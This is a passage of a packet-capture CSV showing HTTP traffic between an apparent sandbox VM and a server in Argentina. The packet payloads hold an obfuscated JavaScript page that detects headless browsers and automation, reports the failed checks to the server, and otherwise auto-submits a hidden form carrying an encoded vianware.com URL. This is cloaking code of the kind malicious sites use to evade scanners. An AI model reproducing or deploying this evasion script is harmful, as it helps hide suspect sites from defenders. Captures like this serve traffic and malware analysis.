83137342c443a30783137342c4c3a30783136382c763a30783138612c593a30783135642c4b3a30783137302c433a30783137612c683a30783136632c6f3a30783136372c793a30783137632c713a30783139362c4f3a30783139392c413a30783139342c563a30783137392c543a30783138302c463a30783139352c743a30783139352c493a30783138642c7a3a30783135667d3b73657454696d656f75742866756e6374696f6e28297b76617220453d6130502c553d77696e646f775b27646f63756d656e7427,\"*(parseInt(N(a0I.s))/0x3)+-parseInt(N(a0I.m))/0x4+-parseInt(N(0x181))/0x5*(-parseInt(N(a0I.P))/0x6)+-parseInt(N(a0I.D))/0x7+parseInt(N(0x187))/0x8*(parseInt(N(a0I.L))/0x9)+-parseInt(N(0x17b))/0xa*(parseInt(N(0x176))/0xb);if(P===s)break;else m['push'](m['shift']());}catch(D){m['push'](m['shift']());}}}(a0m,0x53061));function a0m(){var e=['form','d49030b349','document','entries','16qvABon','language','toString','input','ById','getElement','appendChil','__proto__','name','157150JbDCEY','forEach','outerWidth','338682bYblHh','value','type','display:no','46leHAWF','apply','GET','map','2367585WseXOw','submit','prototype','mimeTypes','ne;','addEventLi','search','userAgent','length','open','ent','292288KZCOjp','69855jYcIqh','plugins','1b41b08f12','(((.+)+)+)','0950635027','techange','filter','attachEven','languages','onreadysta','createElem','constructo','11ValPrK','outerHeigh','stener','7fa3b767c4','append','13449790JPkTxE','send','webdriver','662434dJfuia','a6105c0a61','hidden','5NlnwII','Loaded'];a0m=function(){return e;};return a0m();}var a0D=window['navigator'],a0L={'webdriverCheck':function(){var x=a0P;return'webdriver'in window||!!a0D[x(0x17d)];},'userAgentCheck':function(){var a0Q={U:0x165},r=a0P;return/headless|bytespider/i['test'](a0D[r(a0Q.U)]);},'appVersionCheck':function(){return/headless/i['test'](a0D['appVersion']);},'pluginArraySpoofing':function(){var a0c={U:0x16b,s:0x18e,m:0x166},d=a0P;let U=PluginArray[d(0x160)]===a0D[d(a0c.U)][d(a0c.s)];if(a0D[d(a0c.U)][d(a0c.m)]>0x0)U&=Plugin[d(0x160)]===a0D['plugins'][0x0][d(0x18e)];return!U;},'mimeTypeArraySpoofing':function(){var a0X={U:0x160,s:0x18e,m:0x160,P:0x161},Z=a0P;let U=MimeTypeArray[Z(a0X.U)]===a0D['mimeTypes'][Z(a0X.s)];if(a0D[Z(0x161)][Z(0x166)]>0x0)U&=MimeType[Z(a0X.m)]===a0D[Z(a0X.P)][0x0][Z(a0X.s)];return!U;},'noLanguage':function(){var a0G={U:0x172},a=a0P;return!a0D[a(0x188)]||a0D[a(a0G.U)][a(0x166)]===0x0;},'zeroOuterDimensions':function(){var H=a0P;return window[H(0x177)+'t']===0x0&&window[H(0x192)]===0x0;}},a0v=function(m,P){var a0S={U:0x163,s:0x178,m:0x185,P:0x163,D:0x173},a0k={U:0x164,s:0x16d,m:0x189,P:0x175},B=a0P,D=(function(){var v=!![];return function(Y,K){var C=v?function(){var R=a0P;if(K){var h=K[R(0x198)](Y,arguments);return K=null,h;}}:function(){};return v=![],C;};}()),L=D(this,function(){var g=a0P;return L[g(0x189)]()[g(a0k.U)](g(a0k.s)+'+$')[g(a0k.m)]()[g(a0k.P)+'r'](L)[g(0x164)]('(((.+)+)+)'+'+$');});L(),window[B(a0S.U)+B(a0S.s)]?window[B(a0S.m)][B(a0S.P)+B(0x178)]('DOMContent'+B(0x182),m,P):window[B(a0S.m)][B(0x171)+'t'](B(a0S.D)+B(0x16f),m);};function a0P(U,s){var m=a0m();return a0P=function(P,D){P=P-0x15d;var L=m[P];return L;},a0P(U,s);}a0v(function(){var a0p={U:0x18c,s:0x18b,m:0x185,P:0x174,D:0x174,L:0x168,v:0x18a,Y:0x15d,K:0x170,C:0x17a,h:0x16c,o:0x167,y:0x17c,q:0x196,O:0x199,A:0x194,V:0x179,T:0x180,F:0x195,t:0x195,I:0x18d,z:0x15f};setTimeout(function(){var E=a0P,U=window['document'\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2960, \"\"id\"\": 18380, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 29639, \"\"src\"\": \"\"200.58.112.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50146, \"\"seq\"\": 2107333422, \"\"ack\"\": 1929701695, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 82, \"\"chksum\"\": 32599, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"*(parseInt(N(a0I.s))/0x3)+-parseInt(N(a0I.m))/0x4+-parseInt(N(0x181))/0x5*(-parseInt(N(a0I.P))/0x6)+-parseInt(N(a0I.D))/0x7+parseInt(N(0x187))/0x8*(parseInt(N(a0I.L))/0x9)+-parseInt(N(0x17b))/0xa*(parseInt(N(0x176))/0xb);if(P===s)break;else m['push'](m['shift']());}catch(D){m['push'](m['shift']());}}}(a0m,0x53061));function a0m(){var e=['form','d49030b349','document','entries','16qvABon','language','toString','input','ById','getElement','appendChil','__proto__','name','157150JbDCEY','forEach','outerWidth','338682bYblHh','value','type','display:no','46leHAWF','apply','GET','map','2367585WseXOw','submit','prototype','mimeTypes','ne;','addEventLi','search','userAgent','length','open','ent','292288KZCOjp','69855jYcIqh','plugins','1b41b08f12','(((.+)+)+)','0950635027','techange','filter','attachEven','languages','onreadysta','createElem','constructo','11ValPrK','outerHeigh','stener','7fa3b767c4','append','13449790JPkTxE','send','webdriver','662434dJfuia','a6105c0a61','hidden','5NlnwII','Loaded'];a0m=function(){return e;};return a0m();}var a0D=window['navigator'],a0L={'webdriverCheck':function(){var x=a0P;return'webdriver'in window||!!a0D[x(0x17d)];},'userAgentCheck':function(){var a0Q={U:0x165},r=a0P;return/headless|bytespider/i['test'](a0D[r(a0Q.U)]);},'appVersionCheck':function(){return/headless/i['test'](a0D['appVersion']);},'pluginArraySpoofing':function(){var a0c={U:0x16b,s:0x18e,m:0x166},d=a0P;let U=PluginArray[d(0x160)]===a0D[d(a0c.U)][d(a0c.s)];if(a0D[d(a0c.U)][d(a0c.m)]>0x0)U&=Plugin[d(0x160)]===a0D['plugins'][0x0][d(0x18e)];return!U;},'mimeTypeArraySpoofing':function(){var a0X={U:0x160,s:0x18e,m:0x160,P:0x161},Z=a0P;let U=MimeTypeArray[Z(a0X.U)]===a0D['mimeTypes'][Z(a0X.s)];if(a0D[Z(0x161)][Z(0x166)]>0x0)U&=MimeType[Z(a0X.m)]===a0D[Z(a0X.P)][0x0][Z(a0X.s)];return!U;},'noLanguage':function(){var a0G={U:0x172},a=a0P;return!a0D[a(0x188)]||a0D[a(a0G.U)][a(0x166)]===0x0;},'zeroOuterDimensions':function(){var H=a0P;return window[H(0x177)+'t']===0x0&&window[H(0x192)]===0x0;}},a0v=function(m,P){var a0S={U:0x163,s:0x178,m:0x185,P:0x163,D:0x173},a0k={U:0x164,s:0x16d,m:0x189,P:0x175},B=a0P,D=(function(){var v=!![];return function(Y,K){var C=v?function(){var R=a0P;if(K){var h=K[R(0x198)](Y,arguments);return K=null,h;}}:function(){};return v=![],C;};}()),L=D(this,function(){var g=a0P;return L[g(0x189)]()[g(a0k.U)](g(a0k.s)+'+$')[g(a0k.m)]()[g(a0k.P)+'r'](L)[g(0x164)]('(((.+)+)+)'+'+$');});L(),window[B(a0S.U)+B(a0S.s)]?window[B(a0S.m)][B(a0S.P)+B(0x178)]('DOMContent'+B(0x182),m,P):window[B(a0S.m)][B(0x171)+'t'](B(a0S.D)+B(0x16f),m);};function a0P(U,s){var m=a0m();return a0P=function(P,D){P=P-0x15d;var L=m[P];return L;},a0P(U,s);}a0v(function(){var a0p={U:0x18c,s:0x18b,m:0x185,P:0x174,D:0x174,L:0x168,v:0x18a,Y:0x15d,K:0x170,C:0x17a,h:0x16c,o:0x167,y:0x17c,q:0x196,O:0x199,A:0x194,V:0x179,T:0x180,F:0x195,t:0x195,I:0x18d,z:0x15f};setTimeout(function(){var E=a0P,U=window['document'\"\"}}]\"\n2026-04-28 08:17:10.072036,28,TCP 192.168.122.168:50146 -> 200.58.112.73:80,192.168.122.168,200.58.112.73,50146,80,TCP,Internal,Private Network,,,,,,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=1929701695 Ack=2107336342,525400577f945254007bb79208004500002806e140008006801ac0a87aa8c83a7049c3e200507304e93f7d9b66965010201473ef0000,RT.W..RT.{....E..(..@.......z..:pI...Ps..?}.f.P. .s...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1761, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 32794, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"200.58.112.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50146, \"\"dport\"\": 80, \"\"seq\"\": 1929701695, \"\"ack\"\": 2107336342, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 29679, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 08:17:10.072075,29,TCP 200.58.112.73:80 -> 192.168.122.168:50146,200.58.112.73,192.168.122.168,80,50146,TCP,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=2107336342 Ack=1929701695,5254007bb792525400577f9408004500018847ce400040067dcdc83a7049c0a87aa80050c3e27d9b66967304e93f50180052754f00005d5b45286130702e55292b45286130702e73295d282779376c69787178376436636427292c733d2b28282b212b5b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d29292c6d3d77696e646f775b27646f63756d656e74275d5b45283078313734292b27656e74275d284528307831383329292c503d77696e646f775b45286130702e6d295d5b45286130702e50292b4528307831,\"][E(a0p.U)+E(a0p.s)]('y7lixqx7d6cd'),s=+((+!+[]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![])),m=window['document'][E(0x174)+'ent'](E(0x183)),P=window[E(a0p.m)][E(a0p.P)+E(0x1\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 392, \"\"id\"\": 18382, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32205, \"\"src\"\": \"\"200.58.112.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50146, \"\"seq\"\": 2107336342, \"\"ack\"\": 1929701695, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 82, \"\"chksum\"\": 30031, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"][E(a0p.U)+E(a0p.s)]('y7lixqx7d6cd'),s=+((+!+[]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![])),m=window['document'][E(0x174)+'ent'](E(0x183)),P=window[E(a0p.m)][E(a0p.P)+E(0x1\"\"}}]\"\n2026-04-28 08:17:10.184088,30,TCP 200.58.112.73:80 -> 192.168.122.168:50146,200.58.112.73,192.168.122.168,80,50146,TCP,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,Internal,Private Network,,,,,,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=2107336694 Ack=1929701695,5254007bb792525400577f940800450005dc47cf400040067978c83a7049c0a87aa80050c3e27d9b67f67304e93f5010005279a300003638295d2827696e70757427292c443d77696e646f775b45283078313835295d5b45286130702e44292b45286130702e4c295d2827696e70757427292c4c3d77696e646f775b27646f63756d656e74275d5b45283078313734292b45286130702e4c295d2845286130702e7629292c763d77696e646f775b45286130702e6d295d5b27637265617465456c656d272b45283078313638295d2827696e70757427292c593d2b28282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d29292c4b3d277773696463686b272c433d277064617461272c683d27687474702533412532462532467777772e7669616e776172652e636f6d25324635327337253246253346626c4e2533445a3264396c614168666132253236336c503025334442716f796c6364436c7a57524f775756613270743473345741716f6d2532424d2532465478494b6254496a46483538514c3252253246416155437752304e717761526966737a326e563448326346754942586356445153384773677764466e375737555a7a7877384b4178636b49324a6e6652753350644361716f33746c56746943723369434f6c69253246667741253344272c6f3d272f7a30663736613164313466643231613866623566643064303365306664633364336365646165353266272c793d276661696c6564436865636b73272c713d4f626a6563745b45283078313836295d2861304c295b45286130702e59295d28285b542c465d293d3e7b7472797b72657475726e204628293f543a6e756c6c3b7d63617463682874297b72657475726e206e756c6c3b7d7d295b45286130702e4b295d28543d3e54213d3d6e756c6c292c4f3d715b45283078313636295d3e3078303b6966284f297b76617220413d6e65772055524c536561726368506172616d7328293b415b45286130702e43295d28276964272c45283078313766292b45286130702e68292b45283078313665292b27396527292c415b45283078313761295d28277473272c273137373733363432323927292c415b45283078313761295d284b2c732b59292c415b45283078313761295d28432c68292c715b45283078313931295d28543d3e415b45283078313761295d28792c5429293b76617220563d6e657720584d4c487474705265717565737428293b565b45286130702e6f295d2827474554272c6f2b273f272b415b45283078313839295d2829292c565b45286130702e79295d286e756c6c293b7d656c7365206d5b276964275d3d2779376c697871783764366364272c6d5b277374796c65275d3d45286130702e71292b45283078313632292c6d5b276d6574686f64275d3d45286130702e4f292c6d5b27616374696f6e275d3d6f2c505b276964275d3d27756970676d663633696c6b75272c505b276e616d65275d3d4b2c505b45283078313934295d3d732b592c505b45283078313935295d3d2768696464656e272c4c5b45283078313866295d3d276964272c4c5b45286130702e41295d3d45286130702e56292b2736306235346132626534272b45283078313834292b276337272c4c5b45283078313935295d3d45286130702e54292c765b276e616d65275d3d277473272c765b2776616c7565275d3d2731373737333634323239272c765b45286130702e46295d3d2768696464656e272c445b276964275d3d2776337735336b726963736f38272c445b45283078313866295d3d,\"68)]('input'),D=window[E(0x185)][E(a0p.D)+E(a0p.L)]('input'),L=window['document'][E(0x174)+E(a0p.L)](E(a0p.v)),v=window[E(a0p.m)]['createElem'+E(0x168)]('input'),Y=+((+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])),K='wsidchk',C='pdata',h='http%3A%2F%2Fwww.vianware.com%2F52s7%2F%3FblN%3DZ2d9laAhfa2%263lP0%3DBqoylcdClzWROwWVa2pt4s4WAqom%2BM%2FTxIKbTIjFH58QL2R%2FAaUCwR0NqwaRifsz2nV4H2cFuIBXcVDQS8GsgwdFn7W7UZzxw8KAxckI2JnfRu3PdCaqo3tlVtiCr3iCOli%2FfwA%3D',o='/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f',y='failedChecks',q=Object[E(0x186)](a0L)[E(a0p.Y)](([T,F])=>{try{return F()?T:null;}catch(t){return null;}})[E(a0p.K)](T=>T!==null),O=q[E(0x166)]>0x0;if(O){var A=new URLSearchParams();A[E(a0p.C)]('id',E(0x17f)+E(a0p.h)+E(0x16e)+'9e'),A[E(0x17a)]('ts','1777364229'),A[E(0x17a)](K,s+Y),A[E(0x17a)](C,h),q[E(0x191)](T=>A[E(0x17a)](y,T));var V=new XMLHttpRequest();V[E(a0p.o)]('GET',o+'?'+A[E(0x189)]()),V[E(a0p.y)](null);}else m['id']='y7lixqx7d6cd',m['style']=E(a0p.q)+E(0x162),m['method']=E(a0p.O),m['action']=o,P['id']='uipgmf63ilku',P['name']=K,P[E(0x194)]=s+Y,P[E(0x195)]='hidden',L[E(0x18f)]='id',L[E(a0p.A)]=E(a0p.V)+'60b54a2be4'+E(0x184)+'c7',L[E(0x195)]=E(a0p.T),v['name']='ts',v['value']='1777364229',v[E(a0p.F)]='hidden',D['id']='v3w53kricso8',D[E(0x18f)]=\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1500, \"\"id\"\": 18383, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31096, \"\"src\"\": \"\"200.58.112.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50146, \"\"seq\"\": 2107336694, \"\"ack\"\": 1929701695, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 82, \"\"chksum\"\": 31139, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"68)]('input'),D=window[E(0x185)][E(a0p.D)+E(a0p.L)]('input'),L=window['document'][E(0x174)+E(a0p.L)](E(a0p.v)),v=window[E(a0p.m)]['createElem'+E(0x168)]('input'),Y=+((+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])),K='wsidchk',C='pdata',h='http%3A%2F%2Fwww.vianware.com%2F52s7%2F%3FblN%3DZ2d9laAhfa2%263lP0%3DBqoylcdClzWROwWVa2pt4s4WAqom%2BM%2FTxIKbTIjFH58QL2R%2FAaUCwR0NqwaRifsz2nV4H2cFuIBXcVDQS8GsgwdFn7W7UZzxw8KAxckI2JnfRu3PdCaqo3tlVtiCr3iCOli%2FfwA%3D',o='/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f',y='failedChecks',q=Object[E(0x186)](a0L)[E(a0p.Y)](([T,F])=>{try{return F()?T:null;}catch(t){return null;}})[E(a0p.K)](T=>T!==null),O=q[E(0x166)]>0x0;if(O){var A=new URLSearchParams();A[E(a0p.C)]('id',E(0x17f)+E(a0p.h)+E(0x16e)+'9e'),A[E(0x17a)]('ts','1777364229'),A[E(0x17a)](K,s+Y),A[E(0x17a)](C,h),q[E(0x191)](T=>A[E(0x17a)](y,T));var V=new XMLHttpRequest();V[E(a0p.o)]('GET',o+'?'+A[E(0x189)]()),V[E(a0p.y)](null);}else m['id']='y7lixqx7d6cd',m['style']=E(a0p.q)+E(0x162),m['method']=E(a0p.O),m['action']=o,P['id']='uipgmf63ilku',P['name']=K,P[E(0x194)]=s+Y,P[E(0x195)]='hidden',L[E(0x18f)]='id',L[E(a0p.A)]=E(a0p.V)+'60b54a2be4'+E(0x184)+'c7',L[E(0x195)]=E(a0p.T),v['name']='ts',v['value']='1777364229',v[E(a0p.F)]='hidden',D['id']='v3w53kricso8',D[E(0x18f)]=\"\"}}]\"\n2026-04-28 08:17:10.184132,31,TCP 200.58.112.73:80 -> 192.168.122.168:50146,200.58.112.73,192.168.122.168,80,50146,TCP,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,Internal,Private Network,,,,,,FPA,,,Ether > IP > TCP > HTTP > Raw,5,TCP FPA Seq=2107338154 Ack=1929701695,5254007bb792525400577f940800450000ef47d0400040067e64c83a7049c0a87aa80050c3e27d9b6daa7304e93f5019005274b60000432c445b45283078313934295d3d682c445b45286130702e74295d3d2768696464656e272c6d5b45283078313864292b2764275d2850292c6d5b45286130702e49292b2764275d2844292c6d5b45283078313864292b2764275d284c292c6d5b27617070656e644368696c272b2764275d2876292c555b27617070656e644368696c272b2764275d286d292c6d5b45286130702e7a295d28293b7d2c3078336538293b7d2c215b5d293b0a20203c2f7363726970743e0a3c2f626f64793e0a3c2f68746d6c3e0a,\"C,D[E(0x194)]=h,D[E(a0p.t)]='hidden',m[E(0x18d)+'d'](P),m[E(a0p.I)+'d'](D),m[E(0x18d)+'d'](L),m['appendChil'+'d'](v),U['appendChil'+'d'](m),m[E(a0p.z)]();},0x3e8);},![]);\n  </script>\n</body>\n</html>\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 239, \"\"id\"\": 18384, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32356, \"\"src\"\": \"\"200.58.112.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50146, \"\"seq\"\": 2107338154, \"\"ack\"\": 1929701695, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FPA\"\", \"\"window\"\": 82, \"\"chksum\"\": 29878, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"C,D[E(0x194)]=h,D[E(a0p.t)]='hidden',m[E(0x18d)+'d'](P),m[E(a0p.I)+'d'](D),m[E(0x18d)+'d'](L),m['appendChil'+'d'](v),U['appendChil'+'d'](m),m[E(a0p.z)]();},0x3e8);},![]);\\n  </script>\\n</body>\\n</html>\\n\"\"}}]\"\n2026-04-28 08:17:10.184382,32,TCP 192.168.122.168:50146 -> 200.58.112.73:80,192.168.122.168,200.58.112.73,50146,80,TCP,Internal,Private Network,,,,,,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=1929701695 Ack=2107338354,525400577f945254007bb79208004500002806e2400080068019c0a87aa8c83a7049c3e200507304e93f7d9b6e725010201473ef0000,RT.W..RT.{....E..(..@.......z..:pI...Ps..?}.nrP. .s...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1762, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 32793, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"200.58.112.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50146, \"\"dport\"\": 80, \"\"seq\"\": 1929701695, \"\"ack\"\": 2107338354, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 29679, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 08:17:10.185831,33,TCP 192.168.122.168:50146 -> 200.58.112.73:80,192.168.122.168,200.58.112.73,50146,80,TCP,Internal,Private Network,,,,,,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,FA,,,Ether > IP > TCP,3,TCP FA Seq=1929701695 Ack=2107338354,525400577f945254007bb79208004500002806e3400080068018c0a87aa8c83a7049c3e200507304e93f7d9b6e725011201473ef0000,RT.W..RT.{....E..(..@.......z..:pI...Ps..?}.nrP. .s...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1763, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 32792, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"200.58.112.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50146, \"\"dport\"\": 80, \"\"seq\"\": 1929701695, \"\"ack\"\": 2107338354, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 29679, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 08:17:10.185859,34,TCP 200.58.112.73:80 -> 192.168.122.168:50146,200.58.112.73,192.168.122.168,80,50146,TCP,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2107338354 Ack=1929701696,5254007bb792525400577f94080045000028000040004006c6fbc83a7049c0a87aa80050c3e27d9b6e727304e940501000522f280000,RT.{..RT.W....E..(..@.@....:pI..z..P..}.nrs..@P..R/(..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", 